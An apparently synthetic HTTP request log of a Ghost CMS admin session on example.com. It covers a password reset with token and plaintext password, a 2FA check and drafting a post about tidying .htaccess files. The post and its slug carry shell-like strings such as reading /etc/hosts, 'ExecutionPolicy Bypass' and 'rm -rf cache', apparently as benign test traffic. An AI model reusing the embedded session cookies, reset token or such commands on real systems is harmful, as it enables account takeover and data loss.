{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
|
|
||||||
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
|
||||||
